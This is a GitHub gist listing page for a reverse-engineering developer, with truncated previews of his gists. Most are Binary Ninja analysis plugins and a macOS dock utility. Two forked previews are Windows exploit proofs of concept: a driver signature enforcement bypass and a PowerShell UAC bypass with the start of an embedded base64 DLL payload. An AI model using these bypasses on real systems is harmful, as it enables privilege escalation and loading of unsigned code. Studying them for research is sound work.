Skip to content

Instantly share code, notes, and snippets.

💅

Josh Watson joshwatson

💅
Block or report user

Report or block joshwatson

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@joshwatson
joshwatson / dock_monitor.m
Created Mar 13, 2019
Automatically switching the dock position when connecting or disconnecting another monitor
View dock_monitor.m
// compile command:
// xcrun clang -o dock_monitor dock_monitor.m -fobjc-arc -isysroot $(xcrun --show-sdk-path) -framework Foundation -framework AppKit -Wall -Wshadow -Wextra
#import <Foundation/Foundation.h>
#import <AppKit/AppKit.h>
void changeDockPosition(CGDirectDisplayID displayID, NSString *position)
{
// Retrieve the defaults dictionary and change the orientation key to
// the new position
NSUserDefaults *defaults = [NSUserDefaults standardUserDefaults];
@joshwatson
joshwatson / main.c
Created Nov 29, 2017 — forked from hfiref0x/main.c
NtLoadEnclaveData Windows 10 RS3 DSE bypass
View main.c
// Original source link https://twitter.com/hFireF0X/status/887930221466443776
// If you are here from any other link - do know that they just steal original info without giving any credit to source
// This bug has been fixed in 16273 public build.
#include "global.h"
HINSTANCE g_hInstance;
HANDLE g_ConOut = NULL;
BOOL g_ConsoleOutput = FALSE;
WCHAR g_BE = 0xFEFF;
@joshwatson
joshwatson / UAC-dotnet-profiler-poc.ps1
Created Oct 5, 2017 — forked from clavoillotte/UAC-dotnet-profiler-poc.ps1
PoC of UAC bypass with a .NET profiler DLL
View UAC-dotnet-profiler-poc.ps1
# Bypass UAC with a .NET profiler DLL
# GUID, path and content
$GUID = '{' + [guid]::NewGuid() + '}'
$DllPath = $env:TEMP + "\test.dll"
$DllBytes64 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAADXHurFk3+ElpN/hJaTf4SWsR+Fl5B/hJaTf4WWkX+EligejJeRf4SWKB6Gl5J/hJZSaWNok3+ElgAAAAAAAAAAUEUAAGSGAwAgMyBZAAAAAAAAAADwACIgCwIOCgACAAAABgAAAAAAAAAQAAAAEAAAAAAAgAEAAAAAEAAAAAIAAAYAAAAAAAAABgAAAAAAAAAAQAAAAAQAAAAAAAACAGABAAAQAAAAAAAAEAAAAAAAAAAAEAAAAAAAABAAAAAAAAAAAAAAEAAAAAAAAAAAAAAA4CEAACgAAAAAAAAAAAAAAAAwAAAMAAAAAAAAAAAAAAAAAAAAAAAAACAgAABwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAAA7AAAAABAAAAACAAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAARgIAAAAgAAAABAAAAAYAAAAAAAAAAAAAAAAAAEAAAEAucGRhdGEAAAwAAAAAMAAAAAIAAAAKAAAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
@joshwatson
joshwatson / mlil_slice.py
Last active Feb 20, 2019
MLIL Slicing in Binary Ninja
View mlil_slice.py
from binaryninja import HighlightStandardColor, PluginCommand
def do_backward_slice(instruction, function):
# switch to SSA form (this does nothing if it's already SSA).
instruction_queue = set([instruction.ssa_form.instr_index])
visited_instructions = set()
variables = set()
@joshwatson
joshwatson / BNILExprVisitor.py
Last active Apr 29, 2017
BNIL Expression Visitor
View BNILExprVisitor.py
class BNILExprVisitor(object):
'''A class to faciliate visiting BNIL instructions.
The following example outputs all addition expressions that are assigned
to an MLIL variable.
>>> visit = BNILExprVisitor()
>>> @visit.add(MediumLevelILOperation.MLIL_SET_VAR)
... def visit_set_var(expr)
... visit(expr.src)
@joshwatson
joshwatson / callgraph.py
Last active Feb 14, 2018
Callgraph Generating Binary Ninja Plugin
View callgraph.py
import struct
import threading
import binaryninja as bn
class Graph(object):
def __init__(self, view):
# type: (Graph, bn.BinaryView) -> None
self.view = view
@joshwatson
joshwatson / vtable-navigator.py
Last active Jan 21, 2017
Binary Ninja IL Example: Navigating to a Virtual Function Based on an Indirect Call
View vtable-navigator.py
import struct
from binaryninja import *
def find_vtable(bv, function_il):
for bb in function_il:
for il in bb:
# vtable is referenced directly
if (il.operation == LLIL_STORE and
il.dest.operation == LLIL_REG and
@joshwatson
joshwatson / micocorruption_binary.py
Last active Sep 2, 2018
Generate a Microcorruption Memory Dump
View micocorruption_binary.py
from __future__ import print_function
from argparse import ArgumentParser
import sys
def decode_binary(input_file, output_file):
next_addr = 0
for line in input_file:
addr,data = line.split(':')[:2]
@joshwatson
joshwatson / microcorruption.py
Last active Mar 2, 2017
Microcorruption Memory Dump BinaryView for Binary Ninja
View microcorruption.py
import struct
import traceback
from binaryninja import (
BinaryView, Architecture,
SegmentReadable, SegmentExecutable, SegmentWritable
)
class MicrocorruptionView(BinaryView):
name = "Microcorruption"
long_name = "Microcorruption Memory Dump"
@joshwatson
joshwatson / bookmarks.py
Last active Oct 12, 2016
Create/List bookmarks in Binary Ninja
View bookmarks.py
'''
bookmarks.py - Create/List bookmarks in Binary Ninja
Copyright (c) 2016 Josh Watson
Permission is hereby granted, free of charge, to any person obtaining a
copy of this software and associated documentation files (the "Software"),
to deal in the Software without restriction, including without limitation
the rights to use, copy, modify, merge, publish, distribute, sublicense,
and/or sell copies of the Software, and to permit persons to whom the
You can’t perform that action at this time.